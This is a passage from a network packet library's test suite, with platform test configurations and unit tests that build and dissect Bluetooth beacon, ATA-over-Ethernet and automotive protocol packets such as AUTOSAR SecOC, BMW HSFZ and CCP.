"test/scapy/layers/tls/tls*.uts" ], "breakfailed": true, "onlyfailed": true, "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/scapy/layers/tls/*.uts": "load_layer(\"tls\")" }, "kw_ko": [ "needs_root" ] } ================================================ FILE: test/configs/linux.utsc ================================================ { "testfiles": [ "test/*.uts", "test/scapy/layers/*.uts", "test/scapy/layers/tls/*.uts", "test/scapy/layers/msrpce/*.uts", "test/contrib/*.uts", "test/tools/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/scanner/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/contrib/automotive/xcp/*.uts", "test/contrib/automotive/autosar/*.uts" ], "remove_testfiles": [ "test/windows.uts", "test/bpf.uts" ], "breakfailed": true, "onlyfailed": true, "extensions": ["scapy-rpc"], "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/scapy/layers/tls/*.uts": "load_layer(\"tls\")" }, "kw_ko": [ "osx", "windows", "ipv6" ] } ================================================ FILE: test/configs/scapy-rpc.utsc ================================================ { "testfiles": [ "test/scapy/layers/dcerpc.uts", "test/scapy/layers/msrpce/*.uts" ], "extensions": ["scapy-rpc"], "breakfailed": true, "onlyfailed": true } ================================================ FILE: test/configs/solaris.utsc ================================================ { "testfiles": [ "test/*.uts", "test/scapy/layers/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/scanner/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/contrib/automotive/xcp/*.uts", "test/contrib/automotive/autosar/*.uts", "test/contrib/*.uts" ], "remove_testfiles": [ "test/linux.uts", "test/bpf.uts", "test/windows.uts", "test/contrib/automotive/ecu_am.uts", "test/contrib/automotive/gm/gmlanutils.uts", "test/contrib/isotp.uts", "test/contrib/isotpscan.uts" ], "onlyfailed": true, "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/cert.uts": "load_layer(\"tls\")", "test/sslv2.uts": "load_layer(\"tls\")", "test/tls*.uts": "load_layer(\"tls\")" }, "kw_ko": [ "osx", "linux", "windows", "crypto_advanced", "ipv6", "tap", "tun", "vcan_socket" ] } ================================================ FILE: test/configs/windows.utsc ================================================ { "testfiles": [ "test\\*.uts", "test\\scapy\\layers\\*.uts", "test\\scapy\\layers\\tls\\*.uts", "test\\scapy\\layers\\msrpce\\*.uts", "test\\contrib\\automotive\\obd\\*.uts", "test\\contrib\\automotive\\scanner\\*.uts", "test\\contrib\\automotive\\gm\\*.uts", "test\\contrib\\automotive\\bmw\\*.uts", "test\\contrib\\automotive\\xcp\\*.uts", "test\\contrib\\automotive\\*.uts", "test\\contrib\\automotive\\autosar\\*.uts", "test\\contrib\\*.uts" ], "remove_testfiles": [ "test\\bpf.uts", "test\\linux.uts" ], "breakfailed": true, "onlyfailed": true, "extensions": ["scapy-rpc"], "preexec": { "test\\contrib\\*.uts": "load_contrib(\"%name%\")", "test\\scapy\\layers\\tls\\*.uts": "load_layer(\"tls\")" }, "kw_ko": [ "as_resolvers", "brotli", "broken_windows", "ipv6", "linux", "native_tls13", "mock_read_routes_bsd", "open_ssl_client", "osx", "require_gui", "tap", "tun", "vcan_socket", "zstd" ] } ================================================ FILE: test/configs/windows2.utsc ================================================ { "testfiles": [ "*.uts", "scapy\\layers\\*.uts", "scapy\\layers\\tls\\*.uts", "scapy\\layers\\msrpce\\*.uts", "contrib\\automotive\\obd\\*.uts", "contrib\\automotive\\gm\\*.uts", "contrib\\automotive\\bmw\\*.uts", "contrib\\automotive\\*.uts", "contrib\\automotive\\autosar\\*.uts", "contrib\\*.uts" ], "remove_testfiles": [ "bpf.uts", "linux.uts" ], "breakfailed": true, "onlyfailed": true, "extensions": ["scapy-rpc"], "preexec": { "contrib\\*.uts": "load_contrib(\"%name%\")", "scapy\\layers\\tls\\*.uts": "load_layer(\"tls\")" }, "format": "html", "kw_ko": [ "osx", "linux", "broken_windows", "crypto_advanced", "mock_read_routes_bsd", "ci_only", "open_ssl_client", "vcan_socket", "ipv6", "manufdb", "tcpdump", "tap", "tun", "tshark" ] } ================================================ FILE: test/contrib/altbeacon.uts ================================================ % AltBeacon unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('altbeacon')" -t test/contrib/altbeacon.uts # # AltBeaconParser tests adapted from: # https://github.com/AltBeacon/android-beacon-library/blob/master/lib/src/test/java/org/altbeacon/beacon/AltBeaconParserTest.java + AltBeacon tests = Setup def next_eir(p): return EIR_Hdr(p[Padding].load) = Presence check AltBeacon = AltBeaconParserTest.testRecognizeBeacon d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') p = EIR_Hdr(d) # First is a flags header assert EIR_Flags in p # Then the AltBeacon p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert p[AltBeacon].mfg_reserved == 9 = AltBeaconParserTest.testDetectsDaveMHardwareBeacon d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600050003be020e09526164426561636f6e20555342020a03000000000000000000000000') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the AltBeacon p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert AltBeacon in p # Then CompleteLocalName p = next_eir(p) assert p[EIR_CompleteLocalName].local_name == b'RadBeacon USB' # Then TX_Power_Level p = next_eir(p) assert p[EIR_TX_Power_Level].level == 3 = AltBeaconParserTest.testParseWrongFormatReturnsNothing d = hex_bytes('02011a1aff1801ffff2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the EIR_Manufacturer_Specific_Data p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert AltBeacon not in p = AltBeaconParserTest.testParsesBeaconMissingDataField d = hex_bytes('02011a1aff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c50000') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the EIR_Manufacturer_Specific_Data p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert p[AltBeacon].id1 == uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6') assert p[AltBeacon].id2 == 1 assert p[AltBeacon].id3 == 2 assert p[AltBeacon].tx_power == -59 = Build EIR p = AltBeacon( id1=uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6'), id2=1, id3=2, tx_power=-59, ) d = raw(p.build_eir()[-1]) assert d == hex_bytes('1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c500') ================================================ FILE: test/contrib/aoe.uts ================================================ % Regression tests for aoe module ############ ############ + Basic tests = Build - Check Ethertype a = Ether(src="00:01:02:03:04:05") b = AOE() c = a / b assert c[Ether].type == 0x88a2 = Build - Check default p = AOE() assert hasattr(p, "q_conf_info") = Build - Check Issue ATA command p = AOE() p.cmd = 0 assert hasattr(p, "i_ata_cmd") = Build - Check Query Config Information p = AOE() p.cmd = 1 assert hasattr(p, "q_conf_info") = Build - Check Mac Mask List p = AOE() p.cmd = 2 assert hasattr(p, "mac_m_list") = Build - Check ReserveRelease p = AOE() p.cmd = 3 assert hasattr(p, "res_rel") ================================================ FILE: test/contrib/automotive/autosar/pdu.uts ================================================ % Regression tests for the PDUTransport / PDU layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + PDUTransport contrib tests = Load Contrib Layer load_contrib("automotive.autosar.pdu", globals_dict=globals()) = Defaults test p = PDUTransport() assert p.pdus == [PDU()] p = PDU() assert p.pdu_id == 0 assert p.pdu_payload_len == None = Build test pdu_id p = PDU(bytes(PDU(pdu_id=0x11))) assert len(bytes(p)) == 8 assert p.pdu_id == 0x11 assert p.pdu_payload_len == 0 = Build test pdu_payload_len p = PDU(bytes(PDU(pdu_payload_len=12))) assert len(p) == 8 assert p.pdu_id == 0 assert p.pdu_payload_len == 12 = Build test id and payload len with data p = PDU(bytes(PDU(pdu_id=0x12, pdu_payload_len=2) / Raw(b'\x22\x33'))) assert len(p) == 10 assert p.pdu_id == 0x12 assert p.pdu_payload_len == 2 assert len(p['Raw']) == 2 assert bytes(p['Raw']) == b'\x22\x33' = Build PDUTransport with multiple PDU packets p1 = PDUTransport(b'\x00\x00\x00\x01\x00\x00\x00\x01\x11' b'\x00\x00\x00\x02\x00\x00\x00\x02\x11\x44' b'\x00\x00\x00\x03\x00\x00\x00\x03\x11\x33\x91') p2 = PDUTransport(bytes(PDUTransport(pdus=[PDU(pdu_id=0x1,pdu_payload_len=1)/Raw(b'\x11'), # noqa: E501 PDU(pdu_id=0x2, pdu_payload_len=2) / Raw(b'\x11\x44'), PDU(pdu_id=0x3, pdu_payload_len=3) / Raw(b'\x11\x33\x91')]))) # Check if packets are the same assert p1 == p2 # Check if fields are set correctly within PDU list assert p1.pdus[0].pdu_id == 0x1 assert p1.pdus[0].pdu_payload_len == 1 assert p1.pdus[1].pdu_id == 0x2 assert p1.pdus[1].pdu_payload_len == 2 assert p1.pdus[2].pdu_id == 0x3 assert p1.pdus[2].pdu_payload_len == 3 = Build PDUTransport with one PDU packet p1 = PDUTransport(b'\x00\x00\x00\x01\x00\x00\x00\x03\x11\x22\x33') p2 = PDUTransport(bytes(PDUTransport(pdus=[ PDU(pdu_id=0x1, pdu_payload_len=0x3) / Raw(b'\x11\x22\x33')]))) # Check if packets are the same assert p1 == p2 # Check if fields are set correctly within PDU list assert p1.pdus[0].pdu_id == 0x1 assert p1.pdus[0].pdu_payload_len == 3 ================================================ FILE: test/contrib/automotive/autosar/secoc.uts ================================================ % Regression tests for the SecOC_PDUTransport / SecOC_PDU layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + SecOC_PDUTransport contrib tests = Load Contrib Layer load_contrib("automotive.autosar.secoc_pdu") = Prepare SecOC keys SecOC_PDU.secoc_protected_pdus_by_identifier = {0, 1, 2, 3, 17, 18} SecOC_PDU.register_secoc_protected_pdu(0xdeadbeef) class PDU_Payload(Packet): fields_desc = [ ByteField("a", 0), ByteField("b", 0), ByteField("c", 0) ] class PDU_Payload2(Packet): fields_desc = [ ByteField("x", 0), ByteField("y", 0), ByteField("z", 0) ] SecOC_PDUTransport.register_secoc_protected_pdu(32, PDU_Payload) SecOC_PDUTransport.register_secoc_protected_pdu(64, PDU_Payload2) = Defaults test p = SecOC_PDUTransport() p.show() assert p.pdus == [SecOC_PDU()] p = SecOC_PDU() assert p.pdu_id == 0 assert p.pdu_payload_len == None = Build test pdu_id p = SecOC_PDU(bytes(SecOC_PDU(pdu_id=0x11))) assert len(bytes(p)) == 12 assert p.pdu_id == 0x11 assert p.pdu_payload_len == 4 = Build test pdu_payload_len p1 = bytes(SecOC_PDU(pdu_payload_len=12, pdu_payload=bytes.fromhex("1122334455667788"))) print(p1.hex()) p = SecOC_PDU(p1) p.show() assert len(p) == 20 assert p.pdu_id == 0 assert p.pdu_payload_len == 12 assert bytes(p.pdu_payload) == bytes.fromhex("1122334455667788") assert p.tfv == 0 assert p.tmac == b"\x00\x00\x00" = Build test pdu_payload_len2 p1 = bytes(SecOC_PDU(pdu_id=0xdeadbeef, pdu_payload_len=12, pdu_payload=bytes.fromhex("1122334455667788"), tfv=42)) print(p1.hex()) p = SecOC_PDU(p1) p.show() assert len(p) == 20 assert p.pdu_id == 0xdeadbeef assert p.pdu_payload_len == 12 assert bytes(p.pdu_payload) == bytes.fromhex("1122334455667788") assert p.tfv == 42 assert p.tmac == b"\x00\x00\x00" = Build test id and payload len with data p = SecOC_PDU(bytes(SecOC_PDU(pdu_id=0x12, pdu_payload=b'\x22\x33\x22\x33'))) assert len(p) == 16 assert p.pdu_id == 0x12 print(p.pdu_payload) p.show() assert p.pdu_payload_len == 8 assert len(p.pdu_payload) == 4 assert bytes(p.pdu_payload) == b'\x22\x33\x22\x33' = Build SecOC_PDUTransport with multiple SecOC_PDU packets p1 = SecOC_PDUTransport( b'\x00\x00\x00\x01\x00\x00\x00\x05\x11\x00\x00\x00\x00' b'\x00\x00\x00\x02\x00\x00\x00\x06\x11\x44\x00\x00\x00\x00' b'\x00\x00\x00\x03\x00\x00\x00\x07\x11\x33\x91\x00\x00\x00\x00') # Check if fields are set correctly within SecOC_PDU list assert p1.pdus[0].pdu_id == 0x1 assert p1.pdus[0].pdu_payload_len == 5 assert p1.pdus[1].pdu_id == 0x2 assert p1.pdus[1].pdu_payload_len == 6 assert p1.pdus[2].pdu_id == 0x3 assert p1.pdus[2].pdu_payload_len == 7 p2 = SecOC_PDUTransport(bytes(SecOC_PDUTransport( pdus=[ SecOC_PDU(pdu_id=0x1,pdu_payload_len=5, pdu_payload=Raw(b'\x11')), SecOC_PDU(pdu_id=0x2, pdu_payload_len=6, pdu_payload=Raw(b'\x11\x44')), SecOC_PDU(pdu_id=0x3, pdu_payload_len=7, pdu_payload=Raw(b'\x11\x33\x91')) ]))) # Check if packets are the same assert p1 == p2 = Build SecOC_PDUTransport with one SecOC_PDU packet p1 = SecOC_PDUTransport(b'\x00\x00\x00\x01\x00\x00\x00\x08\xaa\xaa\xaa\xaa\x11\x22\x33\x44') p2 = SecOC_PDUTransport(bytes(SecOC_PDUTransport(pdus=[SecOC_PDU(pdu_id=0x1, pdu_payload=Raw(b'\xaa\xaa\xaa\xaa'), tfv=0x11, tmac=b"\x22\x33\x44")]))) # Check if packets are the same assert p1 == p2 # Check if fields are set correctly within SecOC_PDU list assert p1.pdus[0].pdu_id == 0x1 assert p1.pdus[0].pdu_payload_len == 8 = Build SecOC_PDUTransport with one SecOC_PDU packet and custom class p1 = SecOC_PDUTransport(b'\x00\x00\x00\x20\x00\x00\x00\x07\xaa\xbb\xcc\x11\x22\x33\x44') # Check if packets are the same assert p1 # Check if fields are set correctly within SecOC_PDU list assert p1.pdus[0].pdu_id == 0x20 assert p1.pdus[0].pdu_payload_len == 7 assert p1.pdus[0].tmac == b"\x22\x33\x44" pdu = p1.pdus[0] pdu.show() assert pdu.pdu_payload.a == 0xaa assert pdu.pdu_payload.b == 0xbb assert pdu.pdu_payload.c == 0xcc = Build SecOC_PDUTransport with multiple SecOC_PDU packets p1 = SecOC_PDUTransport(bytes.fromhex("00000020 00000007 aabbcc 11223344 00000040 00000007 ddeeff 55667788 000000ff 00000008 01234567 11223344 000000ff 00000008 01234567 11223344")) p1.show() # Check if packets are the same assert p1 # Check if fields are set correctly within SecOC_PDU list assert p1.pdus[0].pdu_id == 0x20 assert p1.pdus[1].pdu_id == 0x40 assert p1.pdus[2].pdu_id == 0xff assert p1.pdus[3].pdu_id == 0xff assert p1.pdus[0].pdu_payload_len == 7 assert p1.pdus[1].pdu_payload_len == 7 assert p1.pdus[2].pdu_payload_len == 8 assert p1.pdus[3].pdu_payload_len == 8 assert p1.pdus[0].tmac == b"\x22\x33\x44" try: assert p1.pdus[2].tmac == b"\x22\x33\x44" assert False except AttributeError: pass assert p1.pdus[1].tmac == b"\x66\x77\x88" pdu = p1.pdus[0] pdu.show() assert pdu.pdu_payload.a == 0xaa assert pdu.pdu_payload.b == 0xbb assert pdu.pdu_payload.c == 0xcc pdu = p1.pdus[1] pdu.show() assert pdu.pdu_payload.x == 0xdd assert pdu.pdu_payload.y == 0xee assert pdu.pdu_payload.z == 0xff pdu = p1.pdus[2] assert "PDU" in pdu.__class__.__name__ assert pdu.payload.__class__.__name__ == "Raw" assert pdu.load == bytes.fromhex("0123456711223344") pdu = p1.pdus[3] assert "PDU" in pdu.__class__.__name__ assert pdu.payload.__class__.__name__ == "Raw" assert pdu.load == bytes.fromhex("0123456711223344") ================================================ FILE: test/contrib/automotive/bmw/hsfz.uts ================================================ % Regression tests for the HSFZ layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + HSFZ Contrib tests = Load Contrib Layer load_contrib("automotive.bmw.hsfz", globals_dict=globals()) = Basic Test 1 pkt = HSFZ(control=1, source=0xf4, target=0x10)/Raw(b'\x11\x22\x33') assert bytes(pkt) == b'\x00\x00\x00\x05\x00\x01\xf4\x10\x11"3' = Basic Test 2 pkt = HSFZ(control=1, source=0xf4, target=0x10)/Raw(b'\x11\x22\x33\x11\x11\x11\x11\x11') assert bytes(pkt) == b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11' = Basic Dissect Test pkt = HSFZ(b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11') assert pkt.length == 10 assert pkt.source == 0xf4 assert pkt.target == 0x10 assert pkt.control == 1 assert pkt[1].service == 17 assert pkt[2].resetType == 34 = Build Test pkt = HSFZ(source=0xf4, target=0x10)/Raw(b"0" * 20) assert bytes(pkt) == b'\x00\x00\x00\x16\x00\x01\xf4\x10' + b"0" * 20 = Dissect Test pkt = HSFZ(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20) assert pkt.length == 24 assert pkt.source == 0xf4 assert pkt.target == 0x10 assert pkt.control == 1 assert pkt.securitySeed == b"0" * 20 assert len(pkt[1]) == pkt.length - 2 = Dissect Test with padding pkt = HSFZ(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20 + b"p" * 100) assert pkt.length == 24 assert pkt.source == 0xf4 assert pkt.target == 0x10 assert pkt.control == 1 assert pkt.securitySeed == b"0" * 20 assert pkt.load == b'p' * 100 = Dissect Test to short packet pkt = HSFZ(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 19) assert pkt.length == 24 assert pkt.source == 0xf4 assert pkt.target == 0x10 assert pkt.control == 1 assert pkt.securitySeed == b"0" * 19 = Dissect Test very long packet pkt = HSFZ(b'\x00\x0f\xff\x04\x00\x01\xf4\x10\x67\x01' + b"0" * 0xfff00) assert pkt.length == 0xfff04 assert pkt.source == 0xf4 assert pkt.target == 0x10 assert pkt.control == 1 assert pkt.securitySeed == b"0" * 0xfff00 = Dissect diagnostic request pkt = HSFZ(hex_bytes("000000050001f41022f150")) assert pkt.length == 5 assert pkt.control == 0x01 assert pkt.source == 0xf4 assert pkt.target == 0x10 = Dissect acknowledgment transfer pkt = HSFZ(hex_bytes("000000050002f41022f150")) assert pkt.length == 5 assert pkt.control == 0x02 assert pkt.source == 0xf4 assert pkt.target == 0x10 = Dissect identification pkt = HSFZ(bytes.fromhex("000000320011444941474144523130424d574d4143374346436343463837393343424d5756494e5742413558373333333246483735373334")) assert pkt.length == 50 assert pkt.control == 0x11 assert b"BMW" in pkt.identification_string pkt = UDP(bytes.fromhex("1a9be2d90040d67d000000320011444941474144523130424d574d4143374346436343463837393343424d5756494e5742413558373333333246483735373334")) assert pkt.length == 50 assert pkt.control == 0x11 assert b"BMW" in pkt.identification_string pkt = UDP(hex_bytes("e9811a9b000ea98f000000000011")) assert pkt.length == 0 assert pkt.control == 0x11 = Dissect alive check pkt = HSFZ(bytes.fromhex("000000200012444941474144523130424d5756494e5858585858585858585858585858585858")) assert pkt.length == 32 assert pkt.control == 0x12 assert b"BMW" in pkt.identification_string pkt = HSFZ(bytes.fromhex("00000002001200f4")) assert pkt.length == 2 assert pkt.control == 0x12 assert pkt.source == 0x00 assert pkt.target == 0xf4 = Dissect incorrect tester address pkt = HSFZ(bytes.fromhex("000000020040fff4")) assert pkt.length == 2 assert pkt.control == 0x40 assert pkt.expected == 0xff assert pkt.received == 0xf4 = Test HSFZSocket server_up = threading.Event() def server(): buffer = bytes(HSFZ(control=1, source=0xf4, target=0x10) / Raw(b'\x11\x22\x33' * 1024)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', 6801)) sock.listen(1) server_up.set() connection, address = sock.accept() connection.send(buffer[:1024]) time.sleep(0.1) connection.send(buffer[1024:]) connection.close() finally: sock.close() server_thread = threading.Thread(target=server) server_thread.start() server_up.wait(timeout=1) sock = HSFZSocket() pkts = sock.sniff(timeout=1, count=1) assert len(pkts) == 1 assert len(pkts[0]) > 2048 ================================================ FILE: test/contrib/automotive/ccp.uts ================================================ % Regression tests for the CCP layer + Configuration ~ conf = Imports from test.testsocket import TestSocket, cleanup_testsockets ############ ############ + Basic operations = Load module load_contrib("automotive.ccp", globals_dict=globals()) = Build CRO CONNECT cro = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 1 assert cro.cmd == 1 assert cro.station_address == 0x02 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x01\x01\x02\x00\xff\xff\xff\xff' = Dissect DTO CONNECT dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x01\xff\xff\xff\xff\xff') assert dto.answers(cro) assert dto.identifier == 0x700 assert dto.length == 8 assert dto.flags == 0 assert dto.ctr == 1 assert dto.load == b"\xff" * 5 = Build CRO EXCHANGE_ID cro = CCP(identifier=0x700)/CRO(ctr=18)/EXCHANGE_ID(ccp_master_device_id=b'abcdef') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 18 assert cro.cmd == 0x17 assert cro.ccp_master_device_id == b"abcdef" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x17\x12abcdef' = Dissect DTO EXCHANGE_ID dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x12\x04\x02\x03\x03\xff') assert dto.ctr == 18 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x04\x02\x03\x03\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 18 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.slave_device_ID_length == 4 assert dto.data_type_qualifier == 2 assert dto.resource_availability_mask == 3 assert dto.resource_protection_mask == 3 assert dto.ccp_reserved == b"\xff" = Build CRO GET_SEED cro = CCP(identifier=0x711)/CRO(ctr=19)/GET_SEED(resource=2) assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 19 assert cro.cmd == 0x12 assert cro.resource == 2 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x12\x13\x02\xff\xff\xff\xff\xff' = Dissect DTO GET_SEED dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x13\x01\x14\x15\x16\x17') assert dto.ctr == 19 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x01\x14\x15\x16\x17' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 19 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.protection_status == 0x1 assert dto.seed == b'\x14\x15\x16\x17' = Build CRO UNLOCK cro = CCP(identifier=0x711)/CRO(ctr=20)/UNLOCK(key=b"123456") assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 20 assert cro.cmd == 0x13 assert cro.key == b"123456" assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x13\x14123456' = Dissect DTO UNLOCK dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x14\x02\xff\xff\xff\xff') assert dto.ctr == 20 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 20 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.privilege_status == 0x2 assert dto.ccp_reserved == b"\xff" * 4 = Build CRO SET_MTA cro = CCP(identifier=0x711)/CRO(ctr=21)/SET_MTA(mta_num=0, address_extension=0x02, address=0x34002000) assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 21 assert cro.cmd == 0x02 assert cro.mta_num == 0 assert cro.address_extension == 2 assert cro.address == 0x34002000 assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x02\x15\x00\x02\x34\x00\x20\x00' = Dissect DTO SET_MTA dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x15\xff\xff\xff\xff\xff') assert dto.ctr == 21 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 21 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b"\xff" * 5 = Build CRO DNLOAD cro = CCP(identifier=0x700)/CRO(ctr=17)/DNLOAD(size=0x05, data=b'abcde') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 17 assert cro.cmd == 3 assert cro.size == 0x05 assert cro.data == b'abcde' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x03\x11\x05abcde' = Dissect DTO DNLOAD dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x11\x02\x34\x00\x20\x05') assert dto.ctr == 17 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x024\x00 \x05' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 17 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002005 = Build CRO DNLOAD_6 cro = CCP(identifier=0x700)/CRO(ctr=0x40)/DNLOAD_6(data=b'abcdef') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x40 assert cro.cmd == 0x23 assert cro.data == b'abcdef' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x23\x40abcdef' = Dissect DTO DNLOAD_6 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x40\x02\x34\x00\x20\x06') assert dto.ctr == 64 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x024\x00 \x06' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 64 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = Build CRO UPLOAD cro = CCP(identifier=0x700)/CRO(ctr=0x41)/UPLOAD(size=4) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x41 assert cro.cmd == 0x04 assert cro.size == 4 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x04\x41\x04\xff\xff\xff\xff\xff' = Dissect DTO UPLOAD dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x41\x10\x11\x12\x13\xff') assert dto.ctr == 65 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x11\x12\x13\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 65 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data == b"\x10\x11\x12\x13\xff" = Build CRO SHORT_UP cro = CCP(identifier=0x700)/CRO(ctr=0x42)/SHORT_UP(size=4, address_extension=0, address=0x12345678) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x42 assert cro.cmd == 0x0f assert cro.size == 4 assert cro.address == 0x12345678 assert cro.address_extension == 0 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0f\x42\x04\x00\x12\x34\x56\x78' = Dissect DTO SHORT_UP dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x42\x10\x11\x12\x13\xff') assert dto.ctr == 66 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x11\x12\x13\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 66 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data == b"\x10\x11\x12\x13\xff" = Build CRO SELECT_CAL_PAGE cro = CCP(identifier=0x700)/CRO(ctr=0x43)/SELECT_CAL_PAGE() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x43 assert cro.cmd == 0x11 assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x11\x43\xff\xff\xff\xff\xff\xff' = Dissect DTO SELECT_CAL_PAGE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x43\xff\xff\xff\xff\xff') assert dto.ctr == 67 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 67 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b"\xff\xff\xff\xff\xff" = Build CRO GET_DAQ_SIZE cro = CCP(identifier=0x700)/CRO(ctr=0x44)/GET_DAQ_SIZE(DAQ_num=0x03, DTO_identifier=0x1020304) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x44 assert cro.cmd == 0x14 assert cro.DAQ_num == 0x03 assert cro.ccp_reserved == 00 assert cro.DTO_identifier == 0x01020304 assert bytes(cro) == 